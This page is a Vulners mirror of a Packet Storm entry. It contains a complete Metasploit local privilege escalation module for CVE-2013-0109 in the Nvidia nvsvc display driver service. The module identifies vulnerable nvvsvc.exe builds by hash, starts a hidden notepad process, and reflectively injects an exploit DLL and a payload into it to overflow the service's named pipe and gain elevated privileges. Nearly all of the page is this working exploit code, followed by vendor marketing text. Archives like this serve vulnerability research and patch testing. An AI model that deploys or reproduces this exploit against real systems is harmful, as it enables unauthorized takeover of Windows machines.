Lucene search
K

Nvidia (nvsvc) Display Driver Service Local Privilege Escalation

🗓️ 17 Dec 2013 00:00:00Reported by Peter WintersmithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Nvidia Display Driver Service Privilege Escalation via Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
17 Dec 201300:00
zdt
ATTACKERKB
CVE-2013-0109
8 Apr 201316:55
attackerkb
Circl
CVE-2013-0109
17 Dec 201300:00
circl
CVE
CVE-2013-0109
8 Apr 201316:00
cve
Cvelist
CVE-2013-0109
8 Apr 201316:00
cvelist
Exploit DB
Nvidia (nvsvc) Display Driver Service - Local Privilege Escalation (Metasploit)
17 Dec 201300:00
exploitdb
EUVD
EUVD-2013-0152
7 Oct 202500:30
euvd
Metasploit
Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
15 Dec 201301:12
metasploit
NVD
CVE-2013-0109
8 Apr 201316:55
nvd
Tenable Nessus
NVIDIA Display Driver 174.x < 307.78 / 310.x < 311.00 Multiple Vulnerabilities
18 May 201500:00
nessus
Rows per page
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
require 'msf/core/post/windows/process'  
require 'msf/core/post/windows/reflective_dll_injection'  
require 'msf/core/post/windows/services'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Post::Windows::Services  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',  
'Description' => %q{  
The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to  
interact with the service. It contains a stacked based buffer overflow as a result  
of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',  
the service name is 'nvsvc', and the named pipe is 'nsvr'.  
  
This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.  
It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Peter Wintersmith', # Original exploit  
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', # Metasploit integration  
],  
'Arch' => ARCH_X86_64,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Targets' =>  
[  
[ 'Windows x64', { } ]  
],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true,  
'BadChars' => "\x00"  
},  
'References' =>  
[  
[ 'CVE', '2013-0109' ],  
[ 'OSVDB', '88745' ],  
[ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],  
],  
'DisclosureDate' => 'Dec 25 2012',  
'DefaultTarget' => 0  
}))  
  
end  
  
def check  
vuln_hashes = [  
'43f91595049de14c4b61d1e76436164f',  
'3947ad5d03e6abcce037801162fdb90d',  
'3341d2c91989bc87c3c0baa97c27253b'  
]  
  
os = sysinfo["OS"]  
if os =~ /windows/i  
svc = service_info 'nvsvc'  
if svc and svc['Name'] =~ /NVIDIA/i  
vprint_good("Found service '#{svc['Name']}'")  
  
begin  
if is_running?  
print_good("Service is running")  
else  
print_error("Service is not running!")  
end  
rescue RuntimeError => e  
print_error("Unable to retrieve service status")  
end  
  
if sysinfo['Architecture'] =~ /WOW64/i  
path = svc['Command'].gsub('"','').strip  
path.gsub!("system32","sysnative")  
else  
path = svc['Command'].gsub('"','').strip  
end  
  
begin  
hash = client.fs.file.md5(path).unpack('H*').first  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error("Error checking file hash: #{e}")  
return Exploit::CheckCode::Detected  
end  
  
if vuln_hashes.include?(hash)  
vprint_good("Hash '#{hash}' is listed as vulnerable")  
return Exploit::CheckCode::Vulnerable  
else  
vprint_status("Hash '#{hash}' is not recorded as vulnerable")  
return Exploit::CheckCode::Detected  
end  
else  
return Exploit::CheckCode::Safe  
end  
end  
end  
  
def is_running?  
begin  
status = service_status('nvsvc')  
return (status and status[:state] == 4)  
rescue RuntimeError => e  
print_error("Unable to retrieve service status")  
return false  
end  
end  
  
def exploit  
if is_system?  
fail_with(Exploit::Failure::None, 'Session is already elevated')  
end  
  
unless check == Exploit::CheckCode::Vulnerable  
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")  
end  
  
print_status("Launching notepad to host the exploit...")  
  
windir = expand_path("%windir%")  
cmd = "#{windir}\\SysWOW64\\notepad.exe"  
process = client.sys.process.execute(cmd, nil, {'Hidden' => true})  
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
  
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")  
library_path = ::File.join(Msf::Config.data_directory,  
"exploits",  
"CVE-2013-0109",  
"nvidia_nvsvc.x86.dll")  
library_path = ::File.expand_path(library_path)  
  
print_status("Injecting exploit into #{process.pid} ...")  
exploit_mem, offset = inject_dll_into_process(host_process, library_path)  
  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
payload_mem = inject_into_process(host_process, payload.encoded)  
  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status("Payload injected. Executing exploit...")  
host_process.thread.create(exploit_mem + offset, payload_mem)  
  
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation